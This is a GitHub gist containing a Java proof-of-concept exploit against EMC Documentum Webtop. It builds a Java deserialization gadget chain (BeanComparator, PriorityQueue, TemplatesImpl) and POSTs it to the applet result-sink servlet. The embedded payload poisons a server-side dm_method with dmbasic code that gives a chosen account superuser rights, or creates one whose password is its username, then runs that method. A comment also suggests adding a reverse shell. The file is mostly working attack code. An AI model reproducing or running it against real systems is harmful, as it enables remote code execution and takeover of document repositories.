Created
February 28, 2016 09:33
-
-
Save andreybpanfilov/9b80225bab54772029a3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.ByteArrayOutputStream; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.io.ObjectOutputStream; | |
import java.io.Serializable; | |
import java.lang.reflect.Field; | |
import java.math.BigInteger; | |
import java.net.HttpURLConnection; | |
import java.net.URL; | |
import java.util.PriorityQueue; | |
import org.apache.commons.beanutils.BeanComparator; | |
import com.documentum.thirdparty.javassist.ClassClassPath; | |
import com.documentum.thirdparty.javassist.ClassPool; | |
import com.documentum.thirdparty.javassist.CtClass; | |
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
/** | |
* @author Andrey B. Panfilov <andrey@panfilov.tel> | |
*/ | |
public class DocumentumWebtopCommonsBeanutilsPoC { | |
public static void main(String[] args) throws Exception { | |
String url = args[0]; | |
String userName = args[1]; | |
final TemplatesImpl templates = createTemplatesImpl(makeCode(userName)); | |
// mock method name until armed | |
final BeanComparator comparator = new BeanComparator("lowestSetBit"); | |
// create queue with numbers and basic comparator | |
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); | |
// stub data for replacement later | |
queue.add(new BigInteger("1")); | |
queue.add(new BigInteger("1")); | |
// switch method called by comparator | |
setFieldValue(comparator, "property", "outputProperties"); | |
// switch contents of queue | |
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue"); | |
queueArray[0] = templates; | |
queueArray[1] = templates; | |
HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection(); | |
conn.setRequestProperty("Content-Type", "pwned"); | |
conn.setRequestMethod("POST"); | |
conn.setUseCaches(false); | |
conn.setDoOutput(true); | |
ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream()); | |
oos.writeObject(queue); | |
conn.connect(); | |
System.out.println("Response code: " + conn.getResponseCode()); | |
} | |
public static String makeUrl(String url) { | |
if (!url.endsWith("/")) { | |
url += "/"; | |
} | |
return url + "wdk5-appletresultsink"; | |
} | |
static Object getFieldValue(final Object obj, final String fieldName) throws Exception { | |
final Field field = getField(obj.getClass(), fieldName); | |
return field.get(obj); | |
} | |
static TemplatesImpl createTemplatesImpl(final String code) throws Exception { | |
final TemplatesImpl templates = new TemplatesImpl(); | |
// use template gadget class | |
ClassPool pool = ClassPool.getDefault(); | |
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); | |
final CtClass clazz = pool.get(StubTransletPayload.class.getName()); | |
// run command in static initializer | |
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections | |
clazz.makeClassInitializer().insertAfter(code); | |
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) | |
clazz.setName("ysoserial.Pwner" + System.nanoTime()); | |
final byte[] classBytes = clazz.toBytecode(); | |
// inject class bytes into instance | |
setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, classAsBytes(Foo.class) }); | |
// required to make TemplatesImpl happy | |
setFieldValue(templates, "_name", "Pwnr"); | |
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); | |
return templates; | |
} | |
static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { | |
final Field field = getField(obj.getClass(), fieldName); | |
field.set(obj, value); | |
} | |
static Field getField(final Class<?> clazz, final String fieldName) throws Exception { | |
Field field = clazz.getDeclaredField(fieldName); | |
if (field == null && clazz.getSuperclass() != null) { | |
field = getField(clazz.getSuperclass(), fieldName); | |
} | |
field.setAccessible(true); | |
return field; | |
} | |
public static class StubTransletPayload extends AbstractTranslet implements Serializable { | |
private static final long serialVersionUID = -5971610431559700674L; | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
@Override | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) | |
throws TransletException { | |
} | |
} | |
static byte[] classAsBytes(final Class<?> clazz) { | |
try { | |
final byte[] buffer = new byte[1024]; | |
final String file = classAsFile(clazz); | |
final InputStream in = DocumentumWebtopCommonsBeanutilsPoC.class.getClassLoader().getResourceAsStream(file); | |
if (in == null) { | |
throw new IOException("couldn't find '" + file + "'"); | |
} | |
final ByteArrayOutputStream out = new ByteArrayOutputStream(); | |
int len; | |
while ((len = in.read(buffer)) != -1) { | |
out.write(buffer, 0, len); | |
} | |
return out.toByteArray(); | |
} catch (IOException e) { | |
throw new RuntimeException(e); | |
} | |
} | |
static String classAsFile(final Class<?> clazz) { | |
return classAsFile(clazz, true); | |
} | |
public static String classAsFile(final Class<?> clazz, boolean suffix) { | |
String str; | |
if (clazz.getEnclosingClass() == null) { | |
str = clazz.getName().replace(".", "/"); | |
} else { | |
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); | |
} | |
if (suffix) { | |
str += ".class"; | |
} | |
return str; | |
} | |
// required to make TemplatesImpl happy | |
public static class Foo implements Serializable { | |
private static final long serialVersionUID = 8207363842866235160L; | |
} | |
public static String makeCode(String userName) { | |
String code = "com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()\n" | |
+ " .getSessionRegistry().getAllSessions().iterator().next();\n" | |
+ "com.documentum.fc.client.IDfMethodObject methodObject = (com.documentum.fc.client.IDfMethodObject) session\n" | |
+ " .getObjectByQualification(\"dm_method WHERE use_method_content=TRUE and method_verb like 'dmbasic -e%'\");\n" | |
+ "com.documentum.fc.client.impl.connection.docbase.IDocbaseConnection connection = ((com.documentum.fc.client.impl.session.ISession) session)\n" | |
+ " .getDocbaseConnection();\n" + "\n" | |
+ "System.out.println(\"Trying to poison docbase method \" + methodObject.getObjectName());\n" | |
+ "System.out.println(\"Current permissions for method object: \" + methodObject.getPermit());\n" | |
+ "String methodVerb = methodObject.getMethodVerb();\n" | |
+ "System.out.println(\"Method verb: \" + methodVerb);\n" | |
+ "methodVerb = methodVerb.substring(\"dmbasic -e\".length());\n" | |
+ "System.out.println(\"Method function: \" + methodVerb);\n" | |
+ "String newContent = \"Const glabel As String = \\\"Label\\\"\\n\"\n" | |
+ " + \"Const ginfo As String = \\\"Info\\\"\\n\" + \"Const gerror As String = \\\"Error\\\"\\n\"\n" | |
+ " + \"\\n\" + \"Private Sub PrintMessage(mssg As String, mssgtype As String)\\n\"\n" | |
+ " + \" If(mssgtype=glabel) Then\\n\" + \" Print \\\"<BR><B><FONT size=3>\\\"\\n\"\n" | |
+ " + \" Print mssg\\n\" + \" print \\\"</FONT></B>\\\"\\n\" + \" ElseIf(mssgtype=ginfo) Then\\n\"\n" | |
+ " + \" Print \\\"<BR><FONT color=blue>\\\"\\n\" + \" Print mssg\\n\"\n" | |
+ " + \" print \\\"</FONT>\\\"\\n\" + \" ElseIf(mssgtype=gerror) Then\\n\"\n" | |
+ " + \" Print \\\"<BR><FONT color=red size=3>\\\"\\n\" + \" Print mssg\\n\"\n" | |
+ " + \" print \\\"</FONT>\\\"\\n\" + \" Else\\n\" + \" Print \\\"<BR>\\\" & mssg\\n\" + \" End If\\n\"\n" | |
+ " + \"End Sub\\n\" + \"Private Sub SetupSuperUser(TargetUser As String)\\n\"\n" | |
+ " + \" objectid$ = dmAPIGet(\\\"id,c,dm_user where user_name = '\\\" & TargetUser & \\\"'\\\")\\n\"\n" | |
+ " + \" If objectid$ <> \\\"\\\" then\\n\"\n" | |
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_privileges\\\",16)\\n\"\n" | |
+ " + \" Status = dmAPIExec(\\\"save,c,\\\" & objectid$)\\n\" + \" Else \\n\"\n" | |
+ " + \" objectid$ = dmAPIGet(\\\"create,c,dm_user\\\")\\n\"\n" | |
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_privileges\\\",16)\\n\"\n" | |
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_name\\\",TargetUser)\\n\"\n" | |
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_login_name\\\",TargetUser)\\n\"\n" | |
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_password\\\",TargetUser)\\n\"\n" | |
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_source\\\",\\\"inline password\\\")\\n\"\n" | |
+ " + \" Status = dmAPIExec(\\\"save,c,\\\" & objectid$)\\n\" + \" End If\\n\" + \"End Sub\\n\" + \"\\n\"\n" | |
+ " + \"Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String)\\n\"\n" | |
+ " + \" Dim SessionID As String\\n\" + \"\\n\"\n" | |
+ " + \" SessionID= dmAPIGet(\\\"connect,\\\" & DocbaseName & \\\",\\\" & UserName & \\\",\\\")\\n\"\n" | |
+ " + \" If SessionID =\\\"\\\" Then\\n\"\n" | |
+ " + \" Print \\\"Fail to connect to docbase \\\" & DocbaseName &\\\" as user \\\" & UserName\\n\"\n" | |
+ " + \" DmExit(-1)\\n\" + \" Else\\n\"\n" | |
+ " + \" Print \\\"Connect to docbase \\\" & DocbaseName &\\\" as user \\\" & UserName\\n\" + \" End If\\n\" + \"\\n\"\n" | |
+ " + \" Call SetupSuperUser(TargetUser)\\n\" + \"\\n\" + \"End Sub\\n\" + \"\\n\";\n" + "\n" | |
+ "System.out.println(\"Trying to inject new content:\\n\" + newContent);\n" + "\n" | |
+ "com.documentum.fc.client.IDfSysObject donor = (com.documentum.fc.client.IDfSysObject) session\n" | |
+ " .newObject(\"dm_document\");\n" | |
+ "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();\n" | |
+ "baos.write(newContent.toString().getBytes());\n" + "donor.setContentEx(baos, \"text\", 0);\n" | |
+ "donor.save();\n" + "System.out.println(\"Donor id is: \" + donor.getObjectId());\n" + "\n" | |
+ "com.documentum.fc.client.content.IDfContent donorContent = (com.documentum.fc.client.content.IDfContent) session\n" | |
+ " .getObject(donor.getContentsId());\n" | |
+ "com.documentum.fc.client.content.IDfContent methodContent = (com.documentum.fc.client.content.IDfContent) session\n" | |
+ " .getObject(methodObject.getContentsId());\n" + "\n" + "boolean success = false;\n" + "\n" | |
+ "System.out.println(\"Trying to override content of dm_method using SAVE_CONT_ATTRS RPC...\");\n" | |
+ "try {\n" | |
+ " com.documentum.fc.client.impl.typeddata.ITypedData arguments = new com.documentum.fc.client.impl.typeddata.DynamicallyTypedData();\n" | |
+ " arguments.setInt(\"data_ticket\", donorContent.getDataTicket());\n" | |
+ " arguments.setInt(\"page\", 0);\n" | |
+ " arguments.setId(\"storage_id\", donorContent.getStorageId());\n" | |
+ " arguments.setId(\"format\", donorContent.getFormatId());\n" | |
+ " arguments.setLong(\"content_size\", donorContent.getContentSize());\n" | |
+ " arguments.setLong(\"full_content_size\", donorContent.getContentSize());\n" | |
+ " arguments.setString(\"OBJECT_TYPE\", \"dmr_content\");\n" | |
+ " arguments.setInt(\"i_vstamp\", methodContent.getVStamp());\n" | |
+ " arguments.setBoolean(\"IS_NEW_OBJECT\", false);\n" | |
+ " int handle = connection.applyForInt(\"SAVE_CONT_ATTRS\", methodObject.getContentsId(), arguments, true, true,\n" | |
+ " true);\n" + " success = true;\n" | |
+ "} catch (com.documentum.fc.common.DfException ex) {\n" + " System.out.println(\"Failed\");\n" | |
+ "}\n" + "\n" + "if (!success) {\n" | |
+ " System.out.println(\"Trying to override content of dm_method using bindfile capability...\");\n" | |
+ " try {\n" | |
+ " com.documentum.fc.client.IDfSysObject newObject = (com.documentum.fc.client.IDfSysObject) session\n" | |
+ " .newObject(\"dm_document\");\n" | |
+ " newObject.bindFile(0, methodObject.getObjectId(), 0);\n" + " newObject.save();\n" | |
+ " com.documentum.fc.client.impl.typeddata.ITypedData arguments = new com.documentum.fc.client.impl.typeddata.DynamicallyTypedData();\n" | |
+ " arguments.setInt(\"data_ticket\", donorContent.getDataTicket());\n" | |
+ " arguments.setInt(\"page\", 0);\n" | |
+ " arguments.setId(\"storage_id\", donorContent.getStorageId());\n" | |
+ " arguments.setId(\"format\", donorContent.getFormatId());\n" | |
+ " arguments.setLong(\"content_size\", donorContent.getContentSize());\n" | |
+ " arguments.setLong(\"full_content_size\", donorContent.getContentSize());\n" | |
+ " arguments.setString(\"OBJECT_TYPE\", \"dmr_content\");\n" | |
+ " arguments.setInt(\"i_vstamp\", methodContent.getVStamp());\n" | |
+ " arguments.setBoolean(\"IS_NEW_OBJECT\", false);\n" | |
+ " int handle = connection.applyForInt(\"SAVE_CONT_ATTRS\", methodObject.getContentsId(), arguments, true,\n" | |
+ " true, true);\n" + " success = true;\n" | |
+ " } catch (com.documentum.fc.common.DfException ex) {\n" | |
+ " System.out.println(\"Failed\");\n" + " }\n" + "}\n" + "\n" + "if (!success) {\n" | |
+ " System.out.println(\"Trying to override content of dm_method by destroying content...\");\n" | |
+ " try {\n" | |
+ " com.documentum.fc.client.impl.typeddata.ITypedData arguments = new com.documentum.fc.client.impl.typeddata.DynamicallyTypedData();\n" | |
+ " arguments.setString(\"OBJECT_TYPE\", \"dmr_content\");\n" | |
+ " arguments.setInt(\"i_vstamp\", methodContent.getVStamp());\n" | |
+ " connection.applyForInt(\"dmDisplayConfigExpunge\", methodObject.getContentsId(), arguments, true, true,\n" | |
+ " true);\n" | |
+ " arguments = new com.documentum.fc.client.impl.typeddata.DynamicallyTypedData();\n" | |
+ " arguments.setInt(\"data_ticket\", donorContent.getDataTicket());\n" | |
+ " arguments.setInt(\"page\", 0);\n" | |
+ " arguments.setId(\"storage_id\", donorContent.getStorageId());\n" | |
+ " arguments.setId(\"format\", donorContent.getFormatId());\n" | |
+ " arguments.setLong(\"content_size\", donorContent.getContentSize());\n" | |
+ " arguments.setLong(\"full_content_size\", donorContent.getContentSize());\n" | |
+ " arguments.setString(\"OBJECT_TYPE\", \"dmr_content\");\n" | |
+ " arguments.appendId(\"parent_id\", methodObject.getObjectId());\n" | |
+ " arguments.setBoolean(\"IS_NEW_OBJECT\", true);\n" | |
+ " int handle = connection.applyForInt(\"SAVE_CONT_ATTRS\", methodObject.getContentsId(), arguments, true,\n" | |
+ " true, true);\n" + " success = true;\n" | |
+ " } catch (com.documentum.fc.common.DfException ex) {\n" | |
+ " System.out.println(\"Failed\");\n" + " }\n" + "}\n" + "\n" + "if (!success) {\n" | |
+ " System.out.println(\"Unable to poison docbase method\");\n" + " return;\n" + "}\n" + "\n" | |
+ "System.out.println(\"Executing poisoned method\");\n" + "try {\n" | |
+ " String queryStr = \"EXECUTE DO_METHOD WITH METHOD='\" + methodObject.getObjectName() + \"', ARGUMENTS='\"\n" | |
+ " + session.getDocbaseName() + \" \" + session.getServerConfig().getString(\"r_install_owner\") + \" \"\n" | |
+ " + \"" + userName + "\" + \"'\";\n" + " System.out.println(\"QUERY: \" + queryStr);\n" | |
+ " com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery(queryStr);\n" | |
+ " query.execute(session, 3);\n" + "} catch (Exception ex) {\n" + " ex.printStackTrace();\n" | |
+ "}"; | |
return code; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment